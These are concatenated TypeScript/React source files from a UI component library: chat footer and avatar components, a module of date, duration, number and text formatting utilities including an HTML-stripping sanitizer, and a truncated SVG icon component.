React.HTMLAttributes<HTMLDivElement> {\n  /** Same `fullWidth` semantics as `ChatHeaderProps.fullWidth` — drops\n   *  the inner wrapper's `max-w-ods-content-narrow` so the footer\n   *  spans the full parent width. */\n  fullWidth?: boolean\n  /** @deprecated Prefer `fullWidth` for the full-panel-width use case.\n   *  This prop remains supported for callers that need a NON-binary\n   *  override (custom max-w value, custom padding, etc.). */\n  contentClassName?: string\n}\n\nconst ChatFooter = React.forwardRef<HTMLDivElement, ChatFooterProps>(\n  ({ className, contentClassName, fullWidth = false, children, ...props }, ref) => {\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"w-full px-0 pb-0 pt-2 md:px-0 flex-shrink-0\",\n          className\n        )}\n        {...props}\n      >\n        <div\n          className={cn(\n            // `fullWidth=true` opts out of the centered-narrow column;\n            // `fullWidth=false` (default) preserves the legacy 600px\n            // max-width. `contentClassName` is appended last so a\n            // legacy caller passing it can still tweak after the\n            // fullWidth decision.\n            fullWidth ? \"w-full\" : \"mx-auto w-full max-w-ods-content-narrow\",\n            contentClassName\n          )}\n        >\n          {children}\n        </div>\n      </div>\n    )\n  }\n)\nChatFooter.displayName = \"ChatFooter\"\n\nexport { ChatContainer, ChatHeader, ChatContent, ChatFooter }","\"use client\"\n\nimport * as React from \"react\";\nimport Image from \"../../embed-shims/next-image\";\nimport { useAuthedImageSrc } from \"../../hooks/use-authed-image-src\";\nimport { cn } from \"../../utils/cn\";\nimport { getFirstLastInitials } from \"../../utils/format\";\n\ninterface SquareAvatarProps extends React.HTMLAttributes<HTMLDivElement> {\n  src?: string;\n  alt?: string;\n  size?: 'xs' | 'sm' | 'md' | 'lg' | 'xl';\n  /** Exact pixel size (width & height). Overrides the `size` bucket dimensions —\n   *  for callers with a numeric-px API (e.g. UserDisplay/MSPDisplay). */\n  sizePx?: number;\n  fallback?: string;\n  variant?: 'square' | 'round';\n  /** Override the initials-fallback styling (font size/color). Merged over the\n   *  defaults (`text-xs font-medium text-ods-text-primary`) via tailwind-merge,\n   *  so callers can shrink/recolor the initials for compact avatars. */\n  initialsClassName?: string;\n}\n\nconst SquareAvatar = React.memo(React.forwardRef<HTMLDivElement, SquareAvatarProps>(\n  ({ className, src, alt, size = 'md', sizePx, fallback, variant = 'square', initialsClassName, style, ...props }, ref) => {\n    const resolvedSrc = useAuthedImageSrc(src)\n    const sizeClasses = {\n      // xs (24px): dense card meta rows — avatar stacks on delivery/\n      // roadmap cards. Part of the shared scale so no caller ever\n      // bypasses the buckets with raw sizePx for a standard size.\n      xs: 'h-6 w-6',\n      sm: 'h-8 w-8',\n      md: 'h-10 w-10',\n      lg: 'h-12 w-12',\n      xl: 'h-16 w-16'\n    };\n\n    const sizePxBySize = {\n      xs: 24,\n      sm: 32,\n      md: 40,\n      lg: 48,\n      xl: 64\n    };\n\n    const variantClasses = {\n      square: 'rounded-md',\n      round: 'rounded-full'\n    };\n\n    return (\n      <div\n        className={cn(\n          \"relative flex items-center justify-center shrink-0 overflow-hidden border border-ods-border bg-ods-bg\",\n          sizePx === undefined && sizeClasses[size],\n          variantClasses[variant],\n          className\n        )}\n        style={sizePx === undefined ? style : { width: sizePx, height: sizePx, ...style }}\n        ref={ref}\n        {...props}\n      >\n        <div className={cn(\n          // Initials default to `--color-text-primary` (the old\n          // `text-ods-text-primary` value) so they stay readable on the default\n          // `bg-ods-bg` AND on the brand accent fills (`bg-ods-flamingo-pink`\n          // for the current user, `bg-ods-flamingo-cyan` for Mingo). The color\n          // resolves through `--ods-avatar-initials` with that fallback, so a\n          // host themed with a custom avatar fill can override the var with a\n          // contrast-correct value (e.g. `getReadableTextColor(accent)`) WITHOUT\n          // regressing any avatar that leaves the var unset. A caller passing\n          // its own `initialsClassName` text color still wins (tailwind-merge\n          // keeps the later class).\n          'flex items-center justify-center text-xs font-medium text-[color:var(--ods-avatar-initials,var(--color-text-primary))]',\n          initialsClassName,\n          resolvedSrc && 'hidden'\n        )}>\n          {getFirstLastInitials(fallback || alt) || '?'}\n        </div>\n        {resolvedSrc && (\n          <Image\n            className=\"absolute -inset-px h-[calc(100%+2px)] w-[calc(100%+2px)] max-w-none object-cover\"\n            // Images are draggable by default, and a draggable child WINS over a\n            // draggable ancestor: an avatar inside a drag-and-drop card lets the\n            // browser start its own \"drag this picture\" instead of the card's\n            // drag, so grabbing a card by its assignee did nothing.\n            draggable={false}\n            src={resolvedSrc}\n            alt={alt || ''}\n            width={sizePx ?? sizePxBySize[size]}\n            height={sizePx ?? sizePxBySize[size]}\n            onError={(e) => {\n              e.currentTarget.style.display = 'none';\n              const el = e.currentTarget.previousElementSibling as HTMLElement;\n              if (el) el.classList.remove('hidden');\n            }}\n          />\n        )}\n      </div>\n    )\n  }\n))\nSquareAvatar.displayName = \"SquareAvatar\"\n\nexport { SquareAvatar };\n","/**\n * Utility functions for formatting data\n */\n\n/**\n * Format a date to a human-readable string\n * @param date - The date to format (Date object or ISO string)\n * @param options - Formatting options\n * @returns Formatted date string\n */\nexport function formatDate(\n  date: Date | string,\n  options: Intl.DateTimeFormatOptions = {\n    year: \"numeric\",\n    month: \"long\",\n    day: \"numeric\",\n  },\n): string {\n  const dateObj = typeof date === \"string\" ? new Date(date) : date\n  \n  // Check if the date is valid\n  if (isNaN(dateObj.getTime())) {\n    console.warn(\"Invalid date provided to formatDate:\", date)\n    return \"Invalid Date\"\n  }\n  \n  // Pin to UTC by default so SSR (Vercel = UTC) and the client agree (React\n  // #418 hydration mismatch). A caller can still override by passing its own\n  // `timeZone` in `options`.\n  return dateObj.toLocaleDateString(\"en-US\", { timeZone: \"UTC\", ...options })\n}\n\n/**\n * Format a number with thousands separators\n * @param num - The number to format\n * @returns Formatted number string\n */\nexport function formatNumber(num: number): string {\n  return num.toLocaleString()\n}\n\n/**\n * Format a price with currency symbol\n * @param price - The price to format\n * @param currency - The currency code\n * @returns Formatted price string\n */\nexport function formatPrice(price: number, currency = \"USD\"): string {\n  return new Intl.NumberFormat(\"en-US\", {\n    style: \"currency\",\n    currency,\n  }).format(price)\n}\n\n/**\n * Format bytes to a human-readable string (KB, MB, GB, etc.)\n * @param bytes - The number of bytes\n * @param decimals - Number of decimal places\n * @returns Formatted bytes string\n */\nexport function formatBytes(bytes: number, decimals = 2): string {\n  if (bytes === 0) return \"0 Bytes\"\n\n  const k = 1024\n  const dm = decimals < 0 ? 0 : decimals\n  const sizes = [\"Bytes\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\", \"ZB\", \"YB\"]\n\n  const i = Math.floor(Math.log(bytes) / Math.log(k))\n\n  return Number.parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + \" \" + sizes[i]\n}\n\n/**\n * Compact bytes formatter using the single-letter unit `'B'` (not\n * `'Bytes'`). Used by upload-progress UIs where horizontal space is\n * tight and the longer \"Bytes\" string wraps. Tops out at `TB`.\n * @example formatBytesShort(0) → \"0 B\"; formatBytesShort(1536) → \"1.5 KB\"\n */\nexport function formatBytesShort(bytes: number): string {\n  if (bytes === 0) return '0 B'\n  const k = 1024\n  const sizes = ['B', 'KB', 'MB', 'GB', 'TB']\n  const i = Math.floor(Math.log(bytes) / Math.log(k))\n  return `${parseFloat((bytes / Math.pow(k, i)).toFixed(2))} ${sizes[i]}`\n}\n\n/**\n * File-size formatter (1 decimal place, `'B'` unit, caps at `GB`).\n * Hub historical semantics — distinct from `formatBytesShort` (2dp) and\n * `formatBytes` (2dp / `'Bytes'`). Lifted from the hub during the doc-viewer\n * unification so all upload UIs, publication cards, and data-room file-size\n * displays render the same way.\n * @example formatFileSize(0) → \"0 B\"; formatFileSize(1500) → \"1.5 KB\"\n */\nexport function formatFileSize(bytes: number): string {\n  if (bytes === 0) return '0 B'\n  const k = 1024\n  const sizes = ['B', 'KB', 'MB', 'GB']\n  const i = Math.floor(Math.log(bytes) / Math.log(k))\n  return `${parseFloat((bytes / Math.pow(k, i)).toFixed(1))} ${sizes[i]}`\n}\n\n/**\n * Format large numbers to abbreviated form (K, M, B) with no decimal points\n * @param num - The number to format\n * @returns Formatted number string (e.g., \"1K\", \"2M\", \"3B\")\n */\nexport function formatLargeNumber(num: number): string {\n  if (num === 0) return \"0\"\n  \n  // Handle negative numbers\n  const isNegative = num < 0\n  const absNum = Math.abs(num)\n  \n  let result: string\n  \n  if (absNum >= 1_000_000_000) {\n    // Billions\n    result = `${Math.floor(absNum / 1_000_000_000)}B`\n  } else if (absNum >= 1_000_000) {\n    // Millions\n    result = `${Math.floor(absNum / 1_000_000)}M`\n  } else if (absNum >= 1_000) {\n    // Thousands\n    result = `${Math.floor(absNum / 1_000)}K`\n  } else {\n    // Less than 1000, show as-is\n    result = Math.floor(absNum).toString()\n  }\n  \n  return isNegative ? `-${result}` : result\n}\n\n/**\n * Abbreviate large numbers for compact display.\n * 1 200 → 1.2K , 15 000 → 15K , 2 000 000 → 2M\n * @param n Number to format\n */\nexport function formatAbbreviatedNumber(n: number): string {\n  if (n >= 1_000_000_000) {\n    const value = n / 1_000_000_000;\n    return `${Number.isInteger(value) ? value.toFixed(0) : value.toFixed(1)}B`;\n  }\n  if (n >= 1_000_000) {\n    const value = n / 1_000_000;\n    return `${Number.isInteger(value) ? value.toFixed(0) : value.toFixed(1)}M`;\n  }\n  if (n >= 1_000) {\n    const value = n / 1_000;\n    return `${Number.isInteger(value) ? value.toFixed(0) : value.toFixed(1)}K`;\n  }\n  return n.toLocaleString();\n}\n\n/**\n * Two-letter uppercase initials from the FIRST + LAST word of a name.\n * Used by avatar-style fallbacks (SquareAvatar, EntityImage) where\n * \"John Michael Doe\" → \"JD\" reads better than \"JM\".\n *\n * Returns `''` for empty / whitespace-only input. Single-word names\n * return a single uppercase letter. Pure — same input always produces\n * the same output, no locale or timezone surface.\n */\nexport function getFirstLastInitials(name?: string | null): string {\n  if (!name) return ''\n  const words = name.trim().split(/\\s+/)\n  if (words.length === 0 || !words[0]) return ''\n  if (words.length === 1) return words[0].charAt(0).toUpperCase()\n  return (words[0].charAt(0) + words[words.length - 1].charAt(0)).toUpperCase()\n}\n\n/**\n * Two-letter uppercase initials from the FIRST + SECOND word of a name.\n * Used as SquareAvatar / EntityImage / EntityAuthorCard fallback across\n * admin and public pages in both the lib and the hub. Handles empty\n * strings, all-whitespace input, and single-word names cleanly — always\n * returns at least one character so the fallback slot is never empty.\n *\n * Single source of truth: every \"first-letter of each word, uppercase,\n * max 2 chars\" computation across hub + lib MUST come through here.\n */\nexport function nameInitials(\n  name: string | null | undefined,\n  fallback: string = 'E',\n): string {\n  const source = typeof name === 'string' ? name.trim() : ''\n  const words = source.length > 0 ? source.split(/\\s+/) : []\n  const letters = words\n    .map((w) => w[0])\n    .filter(Boolean)\n    .slice(0, 2)\n    .join('')\n  return (letters || fallback).toUpperCase()\n}\n\n/**\n * Format seconds to MM:SS or HH:MM:SS format\n * Used for media durations (podcasts, videos)\n * Returns: \"MM:SS\" or \"HH:MM:SS\" if hours > 0\n */\nexport function formatDurationMMSS(seconds: number | null | undefined): string {\n  if (!seconds) return '';\n  const hours = Math.floor(seconds / 3600);\n  const minutes = Math.floor((seconds % 3600) / 60);\n  const secs = Math.floor(seconds % 60);\n\n  if (hours > 0) {\n    return `${hours}:${minutes.toString().padStart(2, '0')}:${secs.toString().padStart(2, '0')}`;\n  }\n  return `${minutes}:${secs.toString().padStart(2, '0')}`;\n}\n\n/**\n * Format seconds to compact human-readable duration\n * Used for displaying duration in cards and headers (media cards, program\n * headers, meeting-duration chips).\n * Returns: \"Xh Xm\", \"Xh\" (whole hours), or \"X min\"\n *\n * Whole hours deliberately drop the zero-minutes tail (`3600 → \"1h\"`, not\n * `\"1h 0m\"`) — this matches the hub `formatMinutesOrDash` docblock that\n * already advertised `\"2h\"`. Distinct from `formatDuration` (long words,\n * seconds input), `formatDurationFromMs` (elapsed-time telemetry, `\"30.0m\"`),\n * `formatDurationMMSS` (clock style), `formatDurationFromRange` (two dates).\n */\nexport function formatDurationCompact(seconds: number | null | undefined): string {\n  if (!seconds) return '';\n  const hours = Math.floor(seconds / 3600);\n  const minutes = Math.floor((seconds % 3600) / 60);\n  if (hours > 0) {\n    return minutes === 0 ? `${hours}h` : `${hours}h ${minutes}m`;\n  }\n  return `${minutes} min`;\n}\n\n/**\n * Format a webinar/event start time as the wall-clock in its OWN timezone.\n *\n * `date` is an instant (UTC timestamp / ISO string). `timezone` is the event's\n * IANA zone (e.g. `'America/New_York'`). Rendering in that explicit zone makes\n * the server (Vercel = UTC) and the visitor's browser emit the SAME text —\n * fixing the React #418 hydration mismatch — AND shows the true event time\n * (4:00 PM EDT, not the 8:00 PM UTC a plain UTC pin would show, nor the\n * viewer-local time the old unpinned call produced). Falls back to UTC when no\n * zone is given, and tolerates a non-IANA label (legacy data) without throwing.\n * The zone LABEL is rendered separately by callers, so it is never appended here.\n *\n * Returns: \"4:00 PM\"\n */\nexport function formatTimeWithTimezone(\n  date: Date | string | null | undefined,\n  timezone?: string | null\n): string {\n  if (!date) return '';\n\n  const dateObj = typeof date === 'string' ? new Date(date) : date;\n  const opts: Intl.DateTimeFormatOptions = {\n    hour: 'numeric',\n    minute: '2-digit',\n    hour12: true,\n    timeZone: timezone || 'UTC',\n  };\n  try {\n    return dateObj.toLocaleTimeString('en-US', opts);\n  } catch {\n    // Non-IANA `timezone` (e.g. a bare \"EST\" label) makes Intl throw a\n    // RangeError. Fall back to a UTC-pinned render so we stay deterministic\n    // (still no #418) instead of crashing.\n    return dateObj.toLocaleTimeString('en-US', { ...opts, timeZone: 'UTC' });\n  }\n}\n\n/**\n * Calculate and format duration between two timestamps\n * Used for webinar durations\n * Returns: \"1h 30m\" or \"45m\"\n */\nexport function formatDurationFromRange(\n  startAt: string | Date | null | undefined,\n  endAt: string | Date | null | undefined\n): string {\n  if (!startAt || !endAt) return '';\n\n  const start = typeof startAt === 'string' ? new Date(startAt) : startAt;\n  const end = typeof endAt === 'string' ? new Date(endAt) : endAt;\n  const durationMs = end.getTime() - start.getTime();\n  const minutes = Math.round(durationMs / 60000);\n\n  if (minutes >= 60) {\n    const hours = Math.floor(minutes / 60);\n    const mins = minutes % 60;\n    return mins > 0 ? `${hours}h ${mins}m` : `${hours}h`;\n  }\n  return `${minutes}m`;\n}\n\n/**\n * UTC-anchored date formatter — distinct from the local-rendering\n * `formatDate` above. RAG mappers + audit-style consumers want UTC anchor\n * so date-only strings (`'2024-08-15'`) don't drift across timezones, AND\n * a `'N/A'` (or caller-supplied) fallback for missing values so the LLM\n * never sees a blank.\n *\n * Accepts:\n *   - ISO date or timestamp string (`'2024-08-15'` or `'2024-08-15T10:30:00Z'`)\n *   - Numeric epoch milliseconds\n *   - Numeric string (treated as epoch ms — Slack and GitHub timestamps\n *     sometimes arrive that way)\n *   - `null` / `undefined` / empty / unparseable → returns `options.fallback`\n *\n * Date-only strings (no `'T'`) get `T00:00:00Z` appended so they anchor to\n * UTC midnight rather than midnight in the runtime's local timezone.\n */\nexport interface FormatDateUTCOptions {\n  /** Returned for null/undefined/empty/unparseable input. Defaults to 'N/A'. */\n  fallback?: string\n  /** 'UTC' (default) or 'local' — switch off the UTC anchor when audit\n   *  stability matters less than local relevance (chat-card timestamps). */\n  timezone?: 'UTC' | 'local'\n}\n\nexport function formatDateUTC(\n  value: string | number | null | undefined,\n  options: FormatDateUTCOptions = {},\n): string {\n  const { fallback = 'N/A', timezone = 'UTC' } = options\n\n  if (value === null || value === undefined || value === '') return fallback\n\n  let ms: number\n  if (typeof value === 'number') {\n    ms = value\n  } else {\n    // String input — first try to interpret as a numeric epoch (Slack/GitHub\n    // sometimes arrive that way). Number('') is 0, but we already ruled out\n    // empty strings above.\n    const n = Number(value)\n    if (Number.isFinite(n) && n > 0 && /^-?\\d+(\\.\\d+)?$/.test(value.trim())) {\n      ms = n\n    } else {\n      // ISO string — for date-only forms, anchor to UTC midnight to avoid\n      // timezone-offset drift (preserves the original RAG-mapper contract).\n      ms = Date.parse(value.includes('T') ? value : value + 'T00:00:00Z')\n    }\n  }\n\n  if (!Number.isFinite(ms)) return fallback\n\n  return new Date(ms).toLocaleDateString('en-US', {\n    year: 'numeric',\n    month: 'short',\n    day: 'numeric',\n    timeZone: timezone === 'local' ? undefined : 'UTC',\n  })\n}\n\n/**\n * Format a reporting-month value (`entry_month`) as \"Mon YYYY\" / \"Month YYYY\",\n * always anchored to UTC. THE single home for the \"What I Shipped\" month label —\n * both the lib card (`'short'`) and the hub detail page (`'long'`) call this, so\n * the React #418 UTC-pin convention lives in exactly one place. Returns `null`\n * for empty input (callers omit the label entirely).\n */\nexport function formatEntryMonthUTC(\n  entryMonth: string | null | undefined,\n  style: 'short' | 'long' = 'short',\n): string | null {\n  if (!entryMonth) return null\n  return new Date(entryMonth).toLocaleDateString('en-US', { month: style, year: 'numeric', timeZone: 'UTC' })\n}\n\n/**\n * Format a date string as `MM/DD/YYYY` for legal-document display\n * (privacy policy, terms of service). Locale-stable: always en-US.\n */\nexport function formatLegalDate(dateInput: string): string {\n  return new Intl.DateTimeFormat('en-US', {\n    year: 'numeric',\n    month: '2-digit',\n    day: '2-digit',\n  }).format(new Date(dateInput))\n}\n\n/**\n * Format a currency value as `$1,234`. Returns `'N/A'` for null/undefined.\n * USD-rounded (no cents). Used on KPI cards + investor pages.\n */\nexport function formatCurrency(value: number | null | undefined): string {\n  if (value == null) return 'N/A'\n  return new Intl.NumberFormat('en-US', {\n    style: 'currency',\n    currency: 'USD',\n    maximumFractionDigits: 0,\n  }).format(value)\n}\n\n/**\n * Format a percent value as `12.50%`. Returns `'N/A'` for null/undefined.\n */\nexport function formatPercent(value: number | null | undefined): string {\n  if (value == null) return 'N/A'\n  return `${value.toFixed(2)}%`\n}\n\n/**\n * Whole-dollar price (no cents) — `$1,234`. Configurable currency code.\n */\nexport function formatWholeDollars(price: number, currency = 'USD'): string {\n  return new Intl.NumberFormat('en-US', {\n    style: 'currency',\n    currency,\n    maximumFractionDigits: 0,\n  }).format(price)\n}\n\n// =============================================================================\n// Metric Formatting (for KPI cards / investor updates)\n// =============================================================================\n\nexport type MetricFormat = 'number' | 'currency' | 'percentage' | 'months'\n\n/**\n * Polarity determines whether an increase is good or bad.\n * - 'positive': higher is better (revenue, users, MRR) → up = green, down = red\n * - 'negative': higher is worse (burn rate, churn, CAC) → up = red, down = green\n * - 'neutral':  no judgment (headcount, runway) → always gray\n */\nexport type TrendPolarity = 'positive' | 'negative' | 'neutral'\n\n/**\n * Format a metric value with compact notation ($1.2M, 150K, 12 months).\n */\nexport function formatCompactMetric(\n  value: number,\n  format: MetricFormat = 'number',\n  options?: { prefix?: string; suffix?: string },\n): string {\n  if (value === 0 || value === null || value === undefined) {\n    if (format === 'currency') return `${options?.prefix || '$'}0`\n    if (format === 'percentage') return '0%'\n    if (format === 'months') return `0 ${options?.suffix || 'months'}`\n    return '0'\n  }\n\n  const absValue = Math.abs(value)\n  const sign = value < 0 ? '-' : ''\n\n  if (format === 'currency') {\n    const prefix = options?.prefix || '$'\n    const compact = (val: number, divisor: number, suffix: string) => {\n      const divided = val / divisor\n      const formatted = divided % 1 === 0 ? divided.toFixed(0) : divided.toFixed(1)\n      return `${sign}${prefix}${formatted}${suffix}`\n    }\n    if (absValue >= 1_000_000_000) return compact(absValue, 1_000_000_000, 'B')\n    if (absValue >= 1_000_000) return compact(absValue, 1_000_000, 'M')\n    if (absValue >= 1_000) return `${sign}${prefix}${(absValue / 1_000).toFixed(0)}K`\n    return `${sign}${prefix}${absValue.toLocaleString()}`\n  }\n\n  if (format === 'percentage') {\n    return `${sign}${absValue}%`\n  }\n\n  if (format === 'months') {\n    const rounded = Math.round(value * 10) / 10\n    return `${rounded} ${options?.suffix || 'months'}`\n  }\n\n  if (absValue >= 1_000_000) return `${sign}${(absValue / 1_000_000).toFixed(1)}M`\n  if (absValue >= 1_000) return `${sign}${(absValue / 1_000).toFixed(1)}K`\n  return value.toLocaleString()\n}\n\n/**\n * Get ODS trend colors based on direction AND polarity. Single source\n * of truth for trend coloring across hub + lib.\n */\nexport function getTrendColors(\n  direction: 'up' | 'down' | 'neutral',\n  polarity: TrendPolarity = 'positive',\n): { textClass: string; badgeClass: string } {\n  if (direction === 'neutral' || polarity === 'neutral') {\n    return {\n      textClass: 'text-ods-text-secondary',\n      badgeClass: 'bg-ods-border text-ods-text-secondary',\n    }\n  }\n\n  const isPositiveOutcome =\n    (direction === 'up' && polarity === 'positive') ||\n    (direction === 'down' && polarity === 'negative')\n\n  if (isPositiveOutcome) {\n    return {\n      textClass: 'text-ods-success',\n      badgeClass: 'bg-ods-success-secondary text-ods-success',\n    }\n  }\n\n  return {\n    textClass: 'text-ods-error',\n    badgeClass: 'bg-ods-error-secondary text-ods-error',\n  }\n}\n\n/**\n * Format a date range as `Apr 20, 2026 — Jul 20, 2026`. Used on review\n * cycle list/detail rows and summary headers.\n *\n * Accepts either full ISO timestamps or bare `YYYY-MM-DD` dates. Bare\n * dates are interpreted in the viewer's LOCAL timezone — otherwise\n * `\"2026-04-20\"` renders as `\"Apr 19\"` west of UTC. DB values for cycle\n * period are stored as plain dates, so local-tz parsing is correct.\n */\nexport function formatDateRange(\n  start: string | null | undefined,\n  end: string | null | undefined,\n): string {\n  if (!start || !end) return ''\n  const fmt = (s: string): string => {\n    const bareMatch = /^(\\d{4})-(\\d{2})-(\\d{2})$/.exec(s)\n    const d = bareMatch\n      ? new Date(Number(bareMatch[1]), Number(bareMatch[2]) - 1, Number(bareMatch[3]))\n      : new Date(s)\n    if (Number.isNaN(d.getTime())) return s\n    return d.toLocaleDateString(undefined, {\n      month: 'short',\n      day: 'numeric',\n      year: 'numeric',\n    })\n  }\n  return `${fmt(start)} — ${fmt(end)}`\n}\n\n/**\n * Format an ISO date string as `\"Jan 5, 2025 at 10:30 AM\"`. Used by\n * admin podcast/webinar cards where the display needs both the short\n * date AND wall-clock time in a single readable phrase.\n *\n * Uses `new Date(...).toLocale*` (NOT the TZ-safe split) because the\n * source columns store full timestamps + the wall-clock half MUST\n * render in the viewer's local timezone (a podcast scheduled \"10:30 AM\n * EST\" should display \"10:30 AM\" for the Eastern admin, \"7:30 AM\" for\n * the Pacific admin — viewer-local is the right semantics here, unlike\n * date-only fields).\n */\nexport function formatDateTimeAt(dateString: string): string {\n  const date = new Date(dateString)\n  const dateStr = date.toLocaleDateString('en-US', {\n    month: 'short',\n    day: 'numeric',\n    year: 'numeric',\n  })\n  const timeStr = date.toLocaleTimeString('en-US', {\n    hour: 'numeric',\n    minute: '2-digit',\n    hour12: true,\n  })\n  return `${dateStr} at ${timeStr}`\n}\n\n/**\n * Format a duration measured in MILLISECONDS as a compact human-readable\n * string. Returns `\"0ms\"` for null/NaN/negative, then `Xms` → `X.Xs` →\n * `X.Xm` as the input grows. Used by job-runs / orchestrator dashboards\n * where elapsed milliseconds is the natural unit.\n *\n * Distinct from `formatDuration(seconds)` (verbose `\"X hours Y minutes\"`)\n * and `formatDurationMMSS(seconds)` (media timecode `MM:SS`).\n */\nexport function formatDurationFromMs(ms: number | null | undefined): string {\n  if (!ms || isNaN(ms) || ms < 0) return '0ms'\n  if (ms < 1000) return `${ms}ms`\n  if (ms < 60000) return `${(ms / 1000).toFixed(1)}s`\n  return `${(ms / 60000).toFixed(1)}m`\n}\n\n/**\n * Format seconds to verbose human-readable duration: `\"X seconds\"`,\n * `\"X minutes\"`, `\"X hours Y minutes\"`. Use this for human-readable\n * spans; for media timecodes use `formatDurationMMSS`; for compact\n * media labels use `formatDurationCompact`; for elapsed milliseconds\n * use `formatDurationFromMs`.\n */\nexport function formatDuration(seconds: number): string {\n  if (seconds < 60) return `${seconds} seconds`\n  if (seconds < 3600) return `${Math.floor(seconds / 60)} minutes`\n\n  const hours = Math.floor(seconds / 3600)\n  const minutes = Math.floor((seconds % 3600) / 60)\n\n  if (minutes === 0) return `${hours} hour${hours > 1 ? 's' : ''}`\n  return `${hours} hour${hours > 1 ? 's' : ''} ${minutes} minute${minutes > 1 ? 's' : ''}`\n}\n\n// =============================================================================\n// Text formatting helpers (proper-case, HTML strip, bio cleanup)\n// =============================================================================\n\n/**\n * Title-case a slug-like string: split on `separator`, capitalize each word.\n *   `titleCaseFromSlug('customer-success')`      → `\"Customer Success\"`\n *   `titleCaseFromSlug('self_hosted', '_')`      → `\"Self Hosted\"`\n *\n * The separator is EXPLICIT per call site on purpose: `formatUnderscoreText`\n * delegates with `'_'` (its output stays byte-identical — `'self-hosted'`\n * remains `\"Self-hosted\"` on the vendor classification/pricing labels), while\n * scheduling-purpose labels pass `'-'`. A combined `[-_]` splitter would have\n * silently changed shipped vendor-facing strings.\n */\nexport function titleCaseFromSlug(text: string, separator: string = '-'): string {\n  return text\n    .split(separator)\n    .map((word) => word.charAt(0).toUpperCase() + word.slice(1).toLowerCase())\n    .join(' ')\n}\n\n/**\n * Format underscore-separated text into proper case.\n *   `\"self_hosted\"` → `\"Self Hosted\"`\n *   `\"open_source\"` → `\"Open Source\"`\n *\n * Thin delegate over {@link titleCaseFromSlug} with an underscore separator.\n */\nexport function formatUnderscoreText(text: string): string {\n  return titleCaseFromSlug(text, '_')\n}\n\n/**\n * Strip HTML tags and decode common HTML entities from a string.\n * Useful for cleaning API responses that contain HTML content.\n *\n * @example\n * stripHtml('<p>Hello <strong>World</strong></p>') // \"Hello World\"\n * stripHtml('Test &amp; Example') // \"Test & Example\"\n */\nexport function stripHtml(html: string): string {\n  // Iterative tag-strip — a single pass is bypass-able by inputs like\n  // `<scr<script>ipt>`: stripping the inner `<script>` leaves the outer\n  // `<script>` reassembled. Loop until the string is stable so multi-\n  // character bypasses cannot survive (CodeQL\n  // `js/incomplete-multi-character-sanitization`). `<[^<>]*>` rejects\n  // `<` inside the tag body so each pass is itself ReDoS-safe (no\n  // backtracking on `<<<<<...<>` inputs).\n  let noTags = html\n  let prev: string\n  do {\n    prev = noTags\n    noTags = noTags.replace(/<[^<>]*>/g, '')\n  } while (noTags !== prev)\n\n  // Decode entities. `&amp;` MUST come LAST so we don't double-decode\n  // sequences like `&amp;lt;` (which should render as the LITERAL text\n  // `&lt;`, not as `<`). All other named/numeric entities decode first;\n  // only after those have been replaced do we collapse `&amp;` → `&`.\n  return noTags\n    .replace(/&nbsp;/g, ' ')\n    .replace(/&lt;/g, '<')\n    .replace(/&gt;/g, '>')\n    .replace(/&quot;/g, '\"')\n    .replace(/&#39;/g, \"'\")\n    .replace(/&#x27;/g, \"'\")\n    .replace(/&apos;/g, \"'\")\n    .replace(/&amp;/g, '&')\n    .replace(/\\s+/g, ' ')\n    .trim()\n}\n\n/**\n * Display label for the openmsp `vendors.classification` enum.\n * Falls back to proper-cased underscore split for values not in the\n * curated mapping.\n */\nexport function formatClassification(classification: string): string {\n  const customMappings: Record<string, string> = {\n    openframe_selected: 'OpenFrame Selected',\n  }\n  return customMappings[classification] || formatUnderscoreText(classification)\n}\n\n/**\n * Display label for the openmsp `vendors.pricing_model` enum.\n * Falls back to proper-cased underscore split for values not in the\n * curated mapping.\n */\nexport function formatPricingModel(pricingModel: string): string {\n  const customMappings: Record<string, string> = {\n    one_time: 'One-time Purchase',\n    self_hosted: 'Self-hosted',\n  }\n  return customMappings[pricingModel] || formatUnderscoreText(pricingModel)\n}\n\n/**\n * Format a bio/about text from the profiles table for display.\n * Handles HTML content (e.g. `<p>` tags from rich text editors),\n * plain text passthrough, and null/undefined values.\n */\nexport function formatBioText(\n  aboutHtml: string | null | undefined,\n  fallback: string = '',\n): string {\n  if (!aboutHtml || !aboutHtml.trim()) return fallback\n\n  if (aboutHtml.includes('<p')) {\n    // `<p[^<>]*>` rejects `<` inside the tag so the automaton can't\n    // backtrack on `<<<<<...<p>` inputs (ReDoS class fix vs. `<p[^>]*>`).\n    const paragraphs = aboutHtml\n      .split(/<p[^<>]*>/)\n      .slice(1)\n      .map((part) => part.split('</p>')[0])\n      .map((text) => stripHtml(text).trim())\n      .filter((text) => text.length > 0)\n\n    if (paragraphs.length > 0) return paragraphs.join(' ')\n  }\n\n  return stripHtml(aboutHtml).trim() || fallback\n}\n","import React from 'react'\n\ninterface PlusCircleIconProps extends React.SVGProps<SVGSVGElement> {\n  className?: string\n  whiteOverlay?: boolean\n  iconSize?: number\n}\n\nexport function PlusCircleIcon({ className, whiteOverlay = false, iconSize = 24, ...props }: PlusCircleIconProps) {\n  return (\n    <svg \n      width={iconSize} \n      height={iconSize} \n      viewBox=\"0 0 24 24\"\n      fill=\"none\" \n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={className}\n      {...props}\n    >\n      <path \n        d=\"M20.8745 12.0005C20.8745 7.09912 16.9018 3.12526 12.0005 3.125C7.09896 3.125 3.125 7.09896 3.125 12.0005C3.12526 16.9018 7.09912 20.8745 12.0005 20.8745C16.9016 20.8742 20.8742 16.9016 20.8745 12.0005ZM23.1245 12.0005C23.1242 18.1443 18.1443 23.1242 12.0005 23.1245C5.85648 23.1245 0.875264 18.1444 0.875 12.0005C0.875 5.85632 5.85632 0.875 12.0005 0.875C18.1444 0.875264 23.1245 5.85648 23.1245 12.0005Z\" \n        fill={whiteOverlay ? \"white\" : \"#5EA62E\"}\n      />\n      <path \n        d=\"M10.8755 15.9995V13.1255H8C7.37884 13.1255 6.87526 12.6216 6.875 12.0005C6.875 11.3792 7.37868 10.8755 8 10.8755H10.8755V8C10.8755 7.37868 11.3792 6.875 12.0005 6.875C12.6216 6.87526 13.1255 7.37884 13.1255 8V10.8755H15.9995L16.1152 10.8813C16.6824 10.9391 17.1245 11.4181 17.1245 12.0005C17.1243 12.5827 16.6823 13.062 16.1152 13.1196L15.9995 13.1255H13.1255V15.9995C13.1255 16.6207 12.6216 17.1242 12.0005 17.1245C11.3792 17.1245 10.8755 